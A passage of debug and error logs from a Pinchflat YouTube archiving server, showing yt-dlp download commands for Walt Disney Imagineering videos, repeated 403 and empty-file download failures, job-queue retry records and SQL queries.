res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b2/8f/b28f07c8ae119a6f138718a7135164fc80c4cef3ca6ce15d8f3dff4a0fb2ba1a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:18:44.827 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b2/8f/b28f07c8ae119a6f138718a7135164fc80c4cef3ca6ce15d8f3dff4a0fb2ba1a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-18. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-17. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-16. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-15. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-14. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-13. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-12. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-11. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-10. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-9. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-8. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-7. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-6. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-5. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-4. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-3. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-2. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-1. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-0. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 20:18:44.827 [error] yt-dlp download error for media item #13020: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-18. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-17. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-16. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-15. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-14. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-13. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-12. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-11. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-10. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-9. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-8. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-7. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-6. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-5. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-4. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-3. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-2. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-1. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-0. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 20:18:44.828 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13020},"id":1733,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":14590672,"event":"job:exception","queue_time":82335,"attempt":12,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:18:50.167 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:00.046 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:19:20.168 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:50.169 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:00.047 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:20:20.170 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:50.171 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:00.048 [info] {"source":"oban","duration":353,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:21:20.172 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:50.173 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:00.049 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:22:20.174 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:50.175 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:00.050 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:23:20.177 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:50.179 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:58.618 [info] {"args":{"id":12518},"id":1734,"meta":{},"system_time":1775003038618193625,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":12,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:23:58.618 [debug] QUERY OK source="media_items" db=0.2ms idle=1094.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 20:23:58.618 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:23:58.619 [debug] QUERY OK source="sources" db=0.2ms idle=1095.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:23:58.619 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1009.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:23:58.620 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 20:23:58.620 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12518] 20:23:58.620 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:23:58.621 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:23:58.621 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:23:58.621 [debug] Running yt-dlp command for action: get_downloadable_status 20:23:58.621 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:23:58.622 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:23:58.622 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:23:58.622 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ea/b1/eab13ac1a5d1c41bf47eee433050d95272277de9cfe96f6868aa5f909375c90d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:24:00.051 [info] {"source":"oban","duration":271,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:24:03.964 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ea/b1/eab13ac1a5d1c41bf47eee433050d95272277de9cfe96f6868aa5f909375c90d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:24:03.964 [debug] Running yt-dlp command for action: download 20:24:03.965 [debug] QUERY OK source="settings" db=0.1ms idle=1441.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:24:03.965 [debug] QUERY OK source="settings" db=0.0ms idle=1441.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:24:03.965 [debug] QUERY OK source="settings" db=0.0ms idle=1349.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:24:03.965 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/7f/14/7f14d3d2d0c4ade4447966f3cc34f0b6d043a3d24dad130a0bf1e9397b2aa60c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:24:20.180 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:48.616 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/7f/14/7f14d3d2d0c4ade4447966f3cc34f0b6d043a3d24dad130a0bf1e9397b2aa60c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 20:24:48.616 [error] yt-dlp download error for media item #12518: "ERROR: The downloaded file is empty\n" 20:24:48.617 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12518},"id":1734,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":49998460,"event":"job:exception","queue_time":763624,"attempt":12,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:24:50.181 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:00.052 [info] {"source":"oban","duration":340,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:25:20.183 [info] {"source":"oban","duration":842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:50.185 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:00.053 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:26:20.186 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:50.187 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:00.054 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:27:20.188 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:50.189 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:00.056 [info] {"source":"oban","duration":355,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:28:20.190 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:27.927 [info] {"args":{"id":12001},"id":1735,"meta":{},"system_time":1775003307927521851,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":12,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:28:27.928 [debug] QUERY OK source="media_items" db=0.3ms idle=404.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 20:28:27.928 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:28:27.928 [debug] QUERY OK source="sources" db=0.1ms idle=404.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:28:27.928 [debug] QUERY OK source="media_profiles" db=0.2ms idle=405.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:27.929 [debug] QUERY OK source="media_items" db=0.2ms idle=8.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 20:28:27.930 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12001] 20:28:27.930 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:27.930 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:28:27.931 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:28:27.931 [debug] Running yt-dlp command for action: get_downloadable_status 20:28:27.931 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:28:27.931 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:28:27.932 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:28:27.932 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/34/e1/34e170113d15fdf97e0fced116d7d3817c73b61064ba4ebea37082455e67d10d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:28:32.957 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/34/e1/34e170113d15fdf97e0fced116d7d3817c73b61064ba4ebea37082455e67d10d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:28:32.957 [debug] Running yt-dlp command for action: download 20:28:32.957 [debug] QUERY OK source="settings" db=0.1ms idle=1433.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", 